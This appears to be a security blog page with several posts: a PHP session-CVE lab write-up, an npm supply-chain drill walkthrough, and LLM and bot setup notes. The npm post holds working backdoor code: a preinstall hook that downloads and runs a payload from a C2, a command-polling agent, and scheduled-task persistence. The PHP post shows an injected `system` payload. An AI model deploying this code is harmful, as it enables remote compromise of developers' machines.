CVE-PHP – I ran the exploits: A crazy week for cyber security folks.

Every so often a vulnerability lands that makes you re-read the advisory twice. October 2026 gave us two: CVE-2026-109618 and CVE-2026-109619, both CVSS 9.2, both pre-authentication, both living inside PHP’s session handling rather than in any application.

The headline from the researchers is blunt: 14 years of vulnerable code, PHP 5.4.0 (2012) through 8.5.11, patched in 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12. No plugin required. No misconfiguration. A default PHP install that calls session_start() is enough to reach the first primitive.

I spent a short evening running the public lab from ikow/php2shell-poc to see how much of that is paper and how much is real. Short version: the chain works, and it works with less setup than I expected.

The 60-second version

session.upload_progress lets an unauthenticated client write attacker-controlled bytes into a session file under a session ID of their choosing. From there it is a path problem: OOM the decoder to corrupt engine state, or mismatch the serializer handlers to get an object instantiated, then hand the file to any include().

Why this one is interesting

Most “pre-auth RCE” bugs need a vulnerable component to reach first — a login form, an upload handler, a deserialisation endpoint. These two do not. They abuse machinery that ships in every PHP build:

  • session.upload_progress — enabled by default since 5.4. It stores the filename you send in a multipart upload into your session file, verbatim, before any application logic runs.
  • session.use_strict_mode = 0 — the default in many distributions, which means PHP will happily accept a session ID the client invented.
  • The php vs php_serialize handlers — the php handler splits session data on the first | and deserialises the remainder. If one endpoint writes with php_serialize and another reads with php, you get to choose what gets instantiated.

Chain the first two together and you have an unauthenticated write of arbitrary content into a file whose name you control. Everything after that is the classic question: what reads that file, and what does it do while reading it?

My test environment

Nothing exotic — one Kali host on the lab VLAN (192.168.192.111), Docker 28.5.2, Compose 2.40.3, and the repo’s own lab/docker-compose.yml:

ComponentDetail
Front endnginx:alpine, publishing eleven ports
App serversphp:*-fpm — 5.6.40, 7.4.33, 8.1.31, 8.2.34, 8.3.35, 8.2.35 (patched control)
Alsophp:8.2.34-apache, php:5.6.40-apache for the mod_php variants
Sharedlab/webroot bind-mounted into every container, /tmp/sessions chmod 1777

The 8.2.35 container matters as much as the vulnerable ones — a differential pair is the only honest way to claim a CVE reproduced rather than a lab quirk.

One practical snag worth noting for anyone else running this: three images (php:8.0.30-fpm, php:8.4.26-fpm, php:7.4.33-apache) came down as truncated layers — /usr/local/bin/php was a 0-byte file, and every container died with exec format error. Re-pulling needs a working resolver, and my host’s was pointing at a dead nameserver. So my matrix ran on eight targets instead of eleven. Check wc -c /usr/local/bin/php inside an image before blaming the compose file.

What actually happened

The short answer: three chains, three shells.

StageResult
Session fixation + content injectionSession file created with my SID, containing <?php system('id');?> as a raw string. No auth.
OOM corruption (CVE-2026-109618)OK: OOM triggered during php_var_unserialize — 30 MB session against memory_limit 32M
var_destroy UAF (CVE-2026-109619)R:1500 back-reference resolved out of the freed var_hash — use-after-free confirmed
Handler mismatchWarning: session_start(): Failed to decode session object — the deserialisation path is reachable
Chain A — session + LFIuid=33(www-data) gid=33(www-data)
Chain B — UAF → handler overwriteuid=0(root) (privileged container, image-offset specific)
Chain C — mismatch → __destruct gadget/tmp/rce_proof.txt = uid=33(www-data)

Two honest caveats, because a lab write-up without them is marketing:

  • The standalone header/nested/oversized-body OOM harness never reproduced through nginx. The reverse proxy’s buffers absorb the payload long before the Zend allocator notices. The OOM that does work in this setup is the session-decode path, which is also the one the chains depend on.
  • The stale-FPM-worker consumer step didn’t trigger with the default pool. Hitting the same worker twice needs pm.max_children = 1 or sustained worker pinning — a real-world constraint, not a lab bug.

Chain B is the flashiest result and the least portable: it walks /proc/self/mem to rewrite a var_dump handler into zif_system, with offsets calibrated for that exact image. Chain A is the one I would actually worry about as a defender, because it needs only one thing on your side — any include sink that takes user input, plus the session file path.

If you run a PHP estate

  • Patch to 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12. This is not a “mitigate later” bug.
  • If you cannot patch yet: session.use_strict_mode = 1, and consider session.upload_progress.enabled = Off (it breaks progress bars, nothing else important).
  • Hunt for session files containing <?php or a leading |O:, oversized multipart bodies carrying PHP_SESSION_UPLOAD_PROGRESS, and Failed to decode session object in your PHP logs.
  • The repo ships detection content for exactly this: ModSecurity rules, an nginx/OpenResty Lua script, and a YARA rule under detection/.

Full walkthrough

The complete chain — every stage, the php.ini pre-conditions, the weaponised requests and the verbatim output from my run — is in the diagram I built from the lab:

If you only take one thing from this: the bug was not in an application. It was in the part of PHP everyone forgot was attack surface.

Anatomy of an npm Supply Chain Attack

I created this supply chain attack npm for my cyber drill exercises for national and industrial level. It was good and glad to know everyone started to see how important to improve your cyber security posture related to supply chain attacks!

May God have mercy on us! Stay blessed.

Educational purpose only | Photo was taken during the live simulation attack program but the supply chain attack on that day was created by the red team from CD-X.

Everything in this article is a benign demonstration. The package, commands, and payloads are fake and designed to be run only in an isolated lab. Nothing here should ever be used against real systems, real registries, or production infrastructure.

Introduction

Software supply chain attacks are among the hardest classes of compromise to detect, because they don’t attack your systems directly — they attack the software you trust and install. Instead of breaking through a firewall, the attacker injects malicious code into a dependency that a developer (or an automated build) then pulls willingly, with full permissions.

The npm ecosystem is a favorite target, and for one simple reason: npm runs lifecycle scripts automatically on install. When you run npm install, npm will happily execute certain scripts entries defined in a package’s package.json — notably preinstall, install, and postinstall — before you ever inspect the package contents.

In this post I’ll walk through how an attacker turns that single feature into a full remote-access backdoor, using the lab-built example from our internal red-team drill. I’ll focus on the preinstall hook as the core primitive, then show the supporting pieces: a command-and-control (C2) listener, a stage-2 payload, and persistence.


How the Attack Works in One Paragraph

  1. An attacker publishes (or otherwise syndicates) a package whose package.json declares a preinstall script.
  2. A victim runs npm install <package>.
  3. Before the package is even placed in node_modules, npm executes preinstall.
  4. That script beacons to the attacker’s C2 server (optionally carrying a detection marker), downloads a stage-2 payload, executes it, and — in the full version — registers persistence so the backdoor survives a reboot.

The victim does nothing wrong other than install a dependency. There is no exploit, no privilege escalation trick, and no malware file — just ordinary JavaScript executing with the victim user’s privileges.


The Primitive: preinstall in package.json

The entire attack hinges on this tiny block:

{
"name": "Example-config-manager",
"version": "9.9.1",
"description": "Example config manager - DRILL REPLICA (FAKE)",
"main": "index.js",
"scripts": {
"preinstall": "node preinstall.js"
}
}

Notice the "main": "index.js" and a plausible description. The package is designed to look legitimate. The only unusual field is the scripts object — and a single line is enough to run arbitrary code.

Why preinstall specifically? It fires first, before the package’s own files are fully installed. An attacker wants their code running as early as possible, and preinstall guarantees that regardless of how the rest of the package behaves.

The index.js can be entirely benign — a decoy to make the package look real:

module.exports = { load: () => console.log('config loaded') };

A developer (or automated tooling) glancing at the source would see nothing alarming. The danger lives in preinstall.js, which most people never read.


Stage 0: The C2 Listener

Before writing the malicious package, the attacker stands up a listener that will receive beacons and serve payloads. A minimal version is ~40 lines of Python using only the standard library:

import http.server, socketserver, datetime
class Handler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
now = datetime.datetime.now().strftime("%H:%M:%S")
print(f"[{now}] {self.client_address[0]} -> {self.path}")
for k, v in self.headers.items():
if k.lower().startswith("x-") or k.lower() == "user-agent":
print(f" {k}: {v}")
if self.headers.get("X-Supply") == "1":
print(" [!] SUPPLY-CHAIN BEACON DETECTED (X-Supply: 1)")
super().do_GET()
def log_message(self, fmt, *args):
pass # keep output clean
print("[C2] listening on http://0.0.0.0:8443")
with socketserver.TCPServer(("0.0.0.0", 8443), Handler) as httpd:
httpd.serve_forever()

Two details matter here:

  1. The HTTP listener logs every request. You can see exactly who is calling back, when, and via which headers.
  2. The X-Supply: 1 marker. This is a deliberate, fake detection signal we added so the blue team can identify supply-chain beacons in network logs. In the real world, an attacker would not tag themselves — but for a training drill, an artificial marker makes detection teachable. (Real advisories reference similar tell-tale headers; see the IOC note at the end.)

Stage 1: The Poisoned preinstall.js

Now the heart of the attack. The first “version” of the malicious install hook does two things: beacon and drop a payload.

const http = require('http');
const fs = require('fs');
const os = require('os');
const { execSync } = require('child_process');
const C2 = 'http://192.168.77.100:8443'; // attacker's C2
// 1. Beacon with the detection marker
http.get(C2 + '/beacon', { headers: { 'X-Supply': '1' } }, (res) => {
console.log('[preinstall] beacon sent, status ' + res.statusCode);
}).on('error', (e) => console.log('[preinstall] beacon err ' + e.message));
// 2. Download + execute the stage-2 payload
const p = os.tmpdir() + '\\payload.bat'; // Windows victim
const f = fs.createWriteStream(p);
http.get(C2 + '/payload.bat', (res) => {
res.pipe(f);
f.on('finish', () => {
execSync('cmd /c "' + p + '"', { stdio: 'inherit' });
console.log('[preinstall] payload executed');
});
});

Let’s break down what each part does.

The beacon is a simple HTTP GET to the C2’s /beacon endpoint. Its purpose isn’t to carry data — it’s to tell the attacker “I’m installed, I’m alive, and here’s my origin.” Because preinstall runs on the victim machine, the beacon originates from the victim’s IP, leaving a network artifact (outbound connection to the C2) that a SOC could later find.

The payload drop downloads a second file (payload.bat on Windows) and executes it with cmd /c. This “stage-2” separation is typical of real malware: stage 1 is small and hard to detect; stage 2 is fetched on demand and can change without republishing the package.

The stage-2 payload itself is deliberately trivial in the drill — it just writes a proof-of-execution file:

@echo off
echo [payload] stage-2 executed at %date% %time% >> %TEMP%\payload_executed.txt
echo [payload] dropped and executed

In a real attack, this file would be a full implant. Here it leaves a clean forensic artifact (%TEMP%\payload_executed.txt) that the blue team can hunt for.


Delivery: Getting the Victim to Install It

The attacker needs only to get the package into a npm install. The drill demonstrates two realistic channels.

Option A — a tarball (no registry needed):

# Build the tarball
npm pack # -> Example-config-manager-9.9.1.tgz
:: On the victim (Windows):
cd %USERPROFILE%\Downloads
npm install Example-config-manager-9.9.1.tgz

Option B — a private registry (more realistic):

The attacker runs their own Verdaccio registry and publishes the package, so the install looks indistinguishable from a normal internal dependency:

sudo npm install -g verdaccio
verdaccio --listen 0.0.0.0:4873 & # expose to the network
cd ~/Example-config-manager
npm login --registry http://127.0.0.1:4873 # fake credentials
npm publish --registry http://127.0.0.1:4873
:: On the victim:
npm install Example-config-manager --registry http://192.168.77.100:4873

In real supply-chain incidents, the “registry” is often the public npm registry itself, and the delivery vector is a typo-squatted name or a compromised maintainer account rather than a private registry. The mechanics are identical: poison the package, publish it, wait for npm install.

When the victim runs the install, the terminal shows:

[preinstall] beacon sent, status 200
[preinstall] payload executed

And on the C2 screen, the attacker sees the callback arrive — flagging the X-Supply: 1 marker.


Stage 2: Remote Control and Persistence

A one-shot beacon + payload is interesting but not very useful for an attacker — they want ongoing access. The “full” version of the package adds a command poll loop and persistence.

The polling C2

The upgraded C2 exposes two more endpoints: /cmd (the attacker queues a command) and /out (the victim posts results back). The attacker writes a command to cmd.txt, and the agent picks it up on its next poll:

def _handle_cmd(self):
with lock:
if os.path.exists(CMD_FILE):
cmd = open(CMD_FILE).read().strip()
os.remove(CMD_FILE)
self.send_response(200)
self.send_header("Content-type", "text/plain")
self.end_headers()
self.wfile.write(cmd.encode())
else:
self.send_response(204) # nothing queued
self.end_headers()
def _handle_out(self):
length = int(self.headers.get("Content-Length", 0))
body = self.rfile.read(length)
with lock:
with open(OUT_FILE, "ab") as f:
f.write(body + b"\n")
print(f"[out] {body.decode(errors='replace').strip()}")
self.send_response(200)
self.end_headers()

The polling agent

On the victim side, the preinstall.js now includes a loop that checks /cmd every 10 seconds and runs whatever it receives:

function poll() {
http.get(C2 + '/cmd', (res) => {
if (res.statusCode !== 200) return;
let data = '';
res.on('data', (chunk) => data += chunk);
res.on('end', () => {
const cmd = data.trim();
if (!cmd) return;
try {
send(execSync(cmd, { encoding: 'utf8', timeout: 30000 }));
} catch (e) {
send('ERR: ' + e.message);
}
});
}).on('error', () => {});
}
function send(out) {
const req = http.request(C2 + '/out', { method: 'POST' }, () => {});
req.write(out);
req.end();
}
setInterval(poll, 10000);
process.stdin.resume();

This is a textbook HTTP-based C2 channel: outbound-only, poll-based, no inbound listener required. It works through most firewalls because the victim initiates the connection.

With this in place, the attacker’s console looks like:

echo "whoami" > cmd.txt
sleep 3
tail -1 out.log
# Example-pc03\itadmin

The attacker is now running arbitrary commands on the victim — net user, netstat -an, tasklist, reg query — and reading the results. From here the full kill chain (credential dumping, lateral movement via RDP, exfiltration) proceeds, as it does in our drill’s later phases.

Persistence — surviving a reboot

Finally, the package plants a standalone beacon and a Windows scheduled task so the backdoor restarts at logon:

const taskFile = path.join(os.tmpdir(), 'Example-beacon.js');
fs.writeFileSync(taskFile, [ /* minimized standalone polling agent */ ].join('\n'));
const taskName = 'Example Update Helper';
const action = `powershell.exe -NoP -W Hidden -C "node \"${os.tmpdir()}\\Example-beacon.js\""`;
const atCmd = `schtasks /create /tn "${taskName}" /tr "${action}" /sc ONLOGON /rl HIGHEST /f`;
execSync(atCmd);

The scheduled task (Example Update Helper) masquerades as a benign updater. After a reboot and logon, the beacon restarts automatically and reconnects to the C2.

Persistence is the differentiator between a “drive-by” install-time compromise and a durable backdoor. The preinstall hook runs once at install time — but by writing a secondary agent and a startup mechanism during that one execution, the attacker converts a single event into continuous access.


What the Defenders See (Detection & IOCs)

Because this is a drill, we document exactly the artifacts a SOC should hunt for. These are the same signals a real investigation would use:

IndicatorWhere it appearsDetection source
Beacon carrying X-Supply: 1Outbound HTTP to the C2Proxy / network logs
GET /beacon, GET /payload.batInstall-time requestsSysmon Event 3 (network connection)
GET /cmd every ~10sPolling loopSysmon Event 3 (repeated, periodic)
POST /outCommand resultsSysmon Event 3
Scheduled task Example Update HelperPersistenceWindows Event 4698 / Sysmon Event 11
%TEMP%\Example-beacon.jsStandalone agentFile-creation alerts
node.exe → C2:8443Running backdoorProcess + network correlation

The single most important defensive control for this entire class of attack is almost embarrassing in its simplicity:

npm install Example-config-manager-9.9.1.tgz --ignore-scripts

With --ignore-scripts, npm skips the lifecycle hooks entirely. The package installs fine, but the C2 sees nothing — no beacon, no payload, no persistence. This is the exact “teaching moment” we highlight in the drill: re-run the same install with the flag and watch the attack vanish.

Additional mitigations you should consider in a real environment:

  • Never blindly npm install — review package.json scripts before trusting a dependency.
  • Use lockfiles and integrity hashes (package-lock.json, npm shrinkwrap).
  • Pin dependencies and prefer known-good versions.
  • Run installs/builds with least privilege (CI runners, not your daily-driver workstation).
  • Budget for supply-chain tooling — Software Bill of Materials (SBOM) and provenance (e.g., npm provenance / SLSA) make tampering harder to hide.

Mapping to MITRE ATT&CK

The drill maps this to the ATT&CK framework, which is exactly how you should think about it in a formal engagement:

  • T1195.002 — Compromise Software Supply Chain: the poisoned package is the initial access vector.
  • T1071.001 — Application Layer Protocol (Web Protocols): the HTTP C2 channel.
  • T1053 — Scheduled Task/Job: the Example Update Helper persistence.
  • T1059 — Command and Scripting Interpreter: execSync running commands within Node.
  • T1573 — Encrypted Channel: (in the TLS-hardened variant) encrypting the C2 traffic.

Framing the technique in ATT&CK terms is useful for both red and blue teams: red teams can measure coverage and report the precise technique; blue teams can map detections onto the framework and identify gaps.


Conclusion

The npm supply-chain attack is elegant precisely because it abuses a legitimate, documented feature — lifecycle scripts — rather than a bug. The attacker writes ordinary JavaScript, publishes it as a package, and lets the victim’s own tooling execute it. No exploit, no malware file delivered by email, no firewall bypass. Just a preinstall entry and a patient C2 server.

The lesson for developers and security teams is twofold:

  1. Installation is execution. Every npm install runs code you haven’t read, with your privileges.
  2. Defense is about constraints, not vigilance alone. --ignore-scripts, lockfiles, pinned versions, and least-privilege build environments reduce the blast radius far more reliably than hoping someone reads every preinstall.js.

This article is an educational walkthrough of a controlled, lab-only simulation. The techniques are real; the package, commands, and payloads are not. If your organization is interested in running this kind of scenario for your own SOC and security teams, this drill (and its detection checklist) is a good place to start.

I did this and what “200k vs 262k” mean for local llm and Cursor AI

What “200k vs 262k” means

Context length = how much text the model can “see” in one conversation turn — your messages, system prompt, tool results, file contents, and its own replies — all counted as tokens (roughly ¾ of a word in English).

SettingTokensvs 200k
200k200,000what you had
262k262,144+62,144 tokens (~31% more)

So 262k is not a different model — it is the full native window for Qwen3.6 35B-A3B. At 200k you were using ~76% of what the model supports natively.


What ~62k extra tokens is “about”

Very rough equivalents (varies by language/code):

Content type~62k tokens ≈
English prose~45,000–50,000 words (~90–100 pages)
Source code~40,000–60,000 lines (depends on file type)
Mixed Cursor chatSeveral large files + long chat history

So the upgrade mainly helps when you are right at the edge of context — long agent sessions, many files injected at once, big logs/PDFs pasted in.


When you would notice a difference

262k helps if:

  • Cursor/agent keeps forgetting earlier parts of a long session
  • You work with many large files in one chat
  • Tool outputs (search, terminal, diffs) pile up and truncate
  • You paste long documents (specs, PDFs, logs)

You probably won’t notice if:

  • Normal coding on one project / a few files at a time
  • Short chats, small edits
  • You start fresh chats often

For your NCCMP dashboard work (HTML/JS/CSS, moderate file count), 200k vs 262k rarely changes day-to-day quality — unless sessions get very long.


Memory and speed

Both use the same model weights. The extra 62k only grows the KV cache (memory for remembered tokens):

  • A bit more RAM on load (~15–25% more KV vs 200k, ballpark)
  • Slightly slower on huge prompts (more tokens to process)
  • On 128 GB Spark, 262k should still be comfortable

262k is the safe native maximum — no YaRN scaling, no quality tradeoffs from stretching context.

Currently my Cursor is using 200k – but I want it to run on 262k. This what I did and what I had

cat > ~/Modelfile.qwen36-262k <<'EOF'
FROM qwen3.6:35b-a3b
PARAMETER num_ctx 262144
EOF
ollama create qwen3.6-35b-262k -f ~/Modelfile.qwen36-262k

This is the current one I get one I run the command:

UNSLOTH Fine-Tuning a Local LLM for National Critical Information Infrastructure (NCII) Cybersecurity

The journey to fine-tune a large language model specifically for national-level cybersecurity operations is both challenging and incredibly rewarding. After months of work, I recently compiled a custom dataset and prepared a locally fine-tuned model tailored to the National Critical Information Infrastructure (NCII) sector, with a focus on Red Teaming scenarios for NACSA (National Cyber Security Agency).

Here’s a look at how that happened, what this model can now do, and why running it locally matters.

The Foundation: Data Is Everything

The backbone of any fine-tuning effort is the quality and structure of the training data. For this project, I started from scratch by building a specialized JSONL dataset (nacsa_dataset.jsonl) designed to meet the unique demands of critical infrastructure protection.

How the Dataset Was Built

Because there was no pre-existing structured dataset for our domain, I wrote a Python script to extract knowledge from existing PDF documentation — government guidelines, security frameworks, incident response playbooks, and sector-specific operational manuals. The script:

  1. Reads each PDF using PyPDF2
  2. Extracts raw text page by page
  3. Chunks the text intelligently with 1,000-character segments and 100-character overlap to preserve context
  4. Transforms each chunk into a structured training record with three fields:

system

  • Purpose: Defines the AI’s role — an assistant specialized in developing Red Teaming scenarios and supporting NCII cybersecurity operations

user

  • Purpose: Frames a specific security analysis question or operational context based on the chunk

assistant

  • Purpose: Provides a detailed, context-aware answer derived directly from the source material

This format mirrors how a cybersecurity analyst actually works — receiving a prompt, consulting reference materials, and producing a structured response. By training on thousands of these records, the model internalizes the tone, terminology, and operational mindset required for national-level cybersecurity work across critical sectors including Transport, Finance, Energy, and Civil Aviation (CAAM).

What Can This Fine-Tuned Model Do?

Deploying a locally fine-tuned LLM for NCII and Red Teaming unlocks capabilities that generic models simply cannot match — not just because of accuracy, but because it understands our standards, our frameworks, and our operational language.

Automated Red Teaming Scenario Generation

The model can rapidly draft realistic cyber-attack simulations targeting specific critical infrastructure assets. Instead of spending hours brainstorming threat vectors, security teams can ask the model to generate full red team scenarios — complete with attacker methodologies, entry points, lateral movement paths, and objectives — tailored to a ministry or agency.

Cybersecurity Analyst Support

Think of it as a 24/7 subject-matter expert sitting alongside your analysts. Ask it to:

  • Retrieve and synthesize complex NCII guidelines
  • Walk through incident response protocols
  • Compare sector-specific cybersecurity frameworks (NIST CSF, NACSA Baseline 1.4, ACT 854, Code of Practice)

The model doesn’t just “hallucinate plausible answers” — it grounds responses in the actual documentation it was trained on.

Vulnerability Assessment & Reporting

By analyzing historical incident data and technical documentation, the model helps draft detailed vulnerability reports and recommends mitigation strategies — specifically tailored to OT (Operational Technology) and IT systems. This is critical because OT environments have unique attack surfaces that generic models often misunderstand.

Staff Training & Simulation

Security teams can use the model to run interactive training exercises. It can role-play as an attacker, a defender, or a stakeholder, enabling realistic crisis simulations that sharpen team readiness and reduce response times during actual incidents.

Cross-Sector Coordination

NCII spans multiple critical industries — and coordination between them is notoriously difficult. The model helps standardize communication across different stakeholders and ministry agencies, ensuring everyone speaks the same operational language when defending national infrastructure.

Why Local Fine-Tuning Was Non-Negotiable

For general-purpose tasks, cloud-hosted LLMs are convenient. But for national critical infrastructure work, local fine-tuning isn’t just a preference — it’s a requirement.

Data sovereignty

  • Cloud-Based LLM: Sensitive NCII details may transit external servers
  • Locally Fine-Tuned LLM: Everything stays on-premise

Compliance

  • Cloud-Based LLM: Hard to prove data never leaves your control
  • Locally Fine-Tuned LLM: Full auditability and control

Customization

  • Cloud-Based LLM: Limited to the provider’s base model
  • Locally Fine-Tuned LLM: Tailored exactly to your operational needs

Access

  • Cloud-Based LLM: Dependent on internet connectivity and API quotas
  • Locally Fine-Tuned LLM: Unrestricted, always-available

Proprietary methodologies

  • Cloud-Based LLM: Risk of leak or exploitation
  • Locally Fine-Tuned LLM: Completely contained within your environment

By keeping the model and data entirely on-premise, we ensure that sensitive NCII infrastructure details, proprietary red-teaming methodologies, and national security strategies never leave our control.

The Road Ahead

This local fine-tuning effort marks a significant step toward building a highly capable, domain-specific AI assistant — one that bolsters our national cyber resilience rather than relying on generic, externally-hosted models.

Next Steps

  1. Deploy the model into daily security workflows — not just for analysis, but for real-time decision support during exercises and incidents
  2. Continuously expand the dataset with new threat intelligence, red-teaming results, and operational data
  3. Integrate with existing tools — potentially hooking the model into Hermes or OpenClaw Telegram bots for on-demand analyst access
  4. Evaluate against benchmarks — measure accuracy, response time, and operational impact against baseline human performance

Closing Thoughts

Fine-tuning a local LLM for NCII cybersecurity isn’t about replacing human analysts. It’s about augmenting them — giving every analyst on the team access to the collective knowledge of the agency, instantly, securely, and at scale.

The technology is ready. The dataset is built. The model is trained. Now it’s time to put it to work defending the infrastructure that keeps the nation running.

Interested in the technical details — the chunking strategy, the PyPDF2 extraction script, the JSONL format, or the training pipeline itself? Let me know in the comments and I’ll share the code.

Running Two AI Bots in One Telegram Group

My Journey with Hermes, OpenClaw, and the SIMULASI Dashboard

How I got @dgx01_mybot and @dgx02_bot to coexist peacefully — on Telegram, on OpenClaw, and in a real cyber drill platform.

The Problem: Two Bots, One Group I run a Telegram group used for cyber drill operations and team coordination.

Early on I had @dgx01_mybot — a daily military conflict summarizer with cron-triggered reporting baked in. It worked fine for what it was: pull, summarize, deliver.

But I wanted more real-time capabilities, web browsing, API calls, and a proper agent loop.

Enter @dgx02_bot — powered by Hermes. I wanted both bots in the same group chat, each doing its own thing without stepping on the other’s toes. The question wasn’t can you run two bots in one Telegram group (yes, Telegram allows it).

The question was: can you run two different bot infrastructures and make them coexist cleanly?

Turns out, yes — with a little architecture.

The Architecture

copy Telegram Group 
├── @dgx01_mybot → daily summaries, cron-based reporting
└── @dgx02_bot → OpenClaw agent, real-time, multi-skill

Bot 1: @dgx01_mybot — The Cron Reporter

• Role: Passive info delivery

• Trigger: Scheduled cron job (7:30 AM UTC daily)

• Output: Curated military conflict summaries delivered to the group

• Infrastructure: Lightweight webhook → Telegram Bot API

Bot 2: @dgx02_bot — The OpenClaw Agent

• Role: Active conversation, tool use, web browsing, API integration

• Trigger:@mentions, direct messages, and scheduled agent turns

• Outbound: Replies routed back through Telegram Bot API

• Infrastructure: OpenClaw Gateway → Telegram channel binding ─── Key Config

Challenges

1. Separate Bot Tokens, Same Group Each bot gets its own BotFather token. Telegram routes messages by bot identifier, so there’s no conflict at the API level. The key is making sure each bot’s handler ignores messages from the other bot to avoid loops.

copy // Bot-level filter in each handler:
"ignoreBotMessages": true,
"allowedSenders": ["454673636"]

2. OpenClaw Gateway — Channel Binding OpenClaw routes messages from Telegram through its Gateway daemon.

I run the Gateway on the host machine (aitopatom-cde3), inside a Docker container . The binding maps:

copy Telegram → Gateway (Webhook/Long-poll) → Channel "telegram" → Session routing → Agent response

The important part was making sure only my bot’s token was in the Gateway config. Bot 1 runs outside OpenClaw entirely.

3. Docker + Host Network Conflicts Early on, proxy blocks (http://10.200.0.1:3128) prevented DNS resolution from inside the container. This killed outbound API calls and web browsing.

The fix:

• Whitelist required domains: projects.simulasi.org, dashboard.simulasi.org

• Use curl -k for self-signed certs • Host-side routing via host.docker.internal (resolves to 172.19.0.1)

• When browser automation was needed, route through the host’s CDP port (18801)

4. No Shared State Between Bots The two bots don’t talk to each other. Each is an isolated process:

• Bot 1: cron job → Telegram API POST

• Bot 2: OpenClaw Gateway → agent turn → Telegram API POST Both share the same Telegram group but neither reads the other’s messages.

Clean separation.

The SIMULASI Cyber Drill Platform

The real test of this setup was tying it to our cyber drill dashboard at https://dashboard.simulasi.org and project tracker at https://projects.simulasi.org (Wekan):

Integration points I set up:

copy| Bot              | Integration       | Purpose                               |
| ---------------- | ----------------- | ------------------------------------- |
| dgx01 | Google Sheets API | Task orchestration, deadline tracking |
| dgx01 | Cron + Telegram | Daily summaries, reminders |
| dgx02 (OpenClaw) | Web browsing | Dashboard UX reviews, login flows |
copy| dgx02 (OpenClaw) | Wekan REST API    | Kanban board queries, card monitoring |
| dgx02 (OpenClaw) | SSH | Server access, config management |

Wekan API Headache Wekan (6.86.0, Snap install) was the biggest technical hurdle. The REST API plugin wasn’t enabled by default:

sudo snap set wekan API_ENABLED=true
sudo snap restart wekan

After that, /api/user and /api/boards/<id> worked, but card endpoints still returned HTML (Meteor SPA shell issue).

Partial win — but enough for board-level monitoring. ─── What I Learned

1. Two Bots > One Mega-Bot Separation of concerns matters. A cron-driven summarize shouldn’t share memory with a real-time agent. Each has different lifecycle needs, scaling profiles, and failure modes.

2. OpenClaw’s Gateway Layer Is the Real Power Telegram is just the transport. The Gateway handles session routing, agent turns, cron jobs, memory, skills, and cross-session messaging. My bot is the Gateway config + a Telegram token.

3. Docker Networking Is a Full-Time Job Proxy restrictions, DNS blocking, self-signed certs, Docker-to-host routing, CDP port mapping — every deployment teaches you something new about container networking.

4. Credential Management Matters Bot tokens, API keys, SSH creds, Wekan bearer tokens — I never let these persist to disk. Token-only auth, env vars, and manual injection keep things secure. One credential per service.

5. Coexistence Requires Discipline The moment either bot started responding to the other’s messages, things broke. Filters at the bot level, ignored user IDs, and “ignoreBotMessages” checks kept the separation clean. No shared state, no cross-talk.

My Setup Summary

copy| Component      | Value                                      |
| -------------- | ------------------------------------------ |
| Host           | aitopatom-cde3                             |
| Container      | 5f56098f2f7e (Debian 13, arm64)            |
| Model          | inference/qwen3.6:35b-a3b                  |
| Gateway        | openclaw gateway (Node v22)                |
| Model          | inference/qwen3.6:35b-a3b                  |
| Telegram Group | -1003724459988                             |
| Bot 1          | @dgx01_mybot                               |
| Bot 2          | @dgx02_bot (OpenClaw)                      |
| Project        | https://projects.simulasi.org (Wekan 6.86) |
| Dashboard      | https://dashboard.simulasi.org             |
| Proxy          | http://10.200.0.1:3128                     |

What’s Next

• Full Wekan card API integration

• Real-time dashboard monitoring during active cyber drills

• More AI/LLM integration (multi-model fallback, benchmarking against other models)

• Expand to handle more drill scenarios with automated reporting workflows

How to do cyber drill red teaming in a fun way

Cyber drill red teaming can improve your cybersecurity team communication and this is very crucial. However, first I would like to talk about how cyber drill is fun conduct and what would be the rewards. 

Cyber drills can be a fun and rewarding way to improve cybersecurity skills, build teamwork, and enhance resilience to cyber threats. This is proven based on our experience in conducting the cyber drill, however, this achieve this, it will require a lot of details and team work. meh.

  1. Why cyber drill can be fun:
  2. It is a hands-on learning experience: Cyber drills allow participants to actually practice their skills in a simulated environment. This hands-on experience can be both challenging and rewarding.
  3. It is a team-building exercise: Cyber drills often involve working with a team to solve complex problems and challenges. This can help foster a sense of camaraderie and collaboration among team members.
  4. It provides a sense of accomplishment: Successfully completing a cyber drill can be a great confidence booster and a source of pride for participants. It can be rewarding to see how much you have learned and how far you have come in terms of your cyber skills.
  5. It helps to improve skills and knowledge: Cyber drills provide an opportunity to practice and refine your cybersecurity skills in a safe environment. This can help participants to better understand potential threats and how to respond to them effectively.
  6. It can be a fun and engaging activity: Cyber drills often involve creative and challenging scenarios that can be both fun and engaging for participants. It can be a welcome change of pace from more traditional training methods.
  7. It helps to build resilience: Cyber drills help organizations to become more resilient to cyber threats by identifying weaknesses and developing strategies to address them. This can help to better prepare for real-world cyber incidents.

Why cyber drill is good for your organisation?

Cyber drill red teaming exercises are highly effective in testing an organization’s cybersecurity posture and readiness in the face of simulated cyber attacks. By engaging a red team of skilled cybersecurity professionals to act as adversaries, organizations can identify vulnerabilities, weaknesses, and blind spots in their defenses that may not have been apparent through traditional testing methods.

Red teaming exercise can help organisation to:

1. Identify potential security gaps

2. Improve detection and incident response (blue team, yellow team, purple team)

3. Enhance human-relation cybersecurity operations & awareness

4. Technical and operation validation of cybersecurity controls 

 However – most important part, communication is crucial in a cyber drill:

Firstly, effective communication ensures that all team members are on the same page in terms of understanding the drill objectives, roles, responsibilities, and procedures. Clear communication helps to minimize confusion and prevent misunderstandings that could potentially hinder the drill’s success.

Secondly, in the event of a real cyber incident, efficient and timely communication is essential for coordinating the team’s response efforts. This includes sharing important information, such as the nature and scope of the incident, progress updates, and any new developments that may impact the response strategy.

Additionally, communication is important for maintaining team morale and cohesion during a cyber drill. By keeping team members informed and engaged, communication helps to foster a sense of collaboration and collective purpose, leading to a more cohesive and effective response.

The Hidden Risks of Open-Source: XZ Utils Backdoor Analysis

The current image has no alternative text. The file name is: picture1.jpg

Today, I want to address a grave concern on my previous post (April 2024 – https://wnnsnn.wordpress.com/2024/04/24/cve-2024-3094-backdoor-found-in-xz-utilities-used-by-many-linux-distros/) that has emerged in the cybersecurity landscape: the sophisticated threat actor behind CVE-2024-3094, the backdoor discovered in the widely used XZ Utils. This incident reveals an unprecedented level of manipulation, precision, and intent to exploit not just systems but the very trust we place in open-source communities.

The perpetrator of this backdoor is not just a hacker in the traditional sense. They infiltrated the open-source ecosystem by gaining maintainer privileges—likely through manipulation, social engineering, and deception. This allowed them to embed malicious code directly into the software’s distribution, turning a trusted utility into a potential weapon.

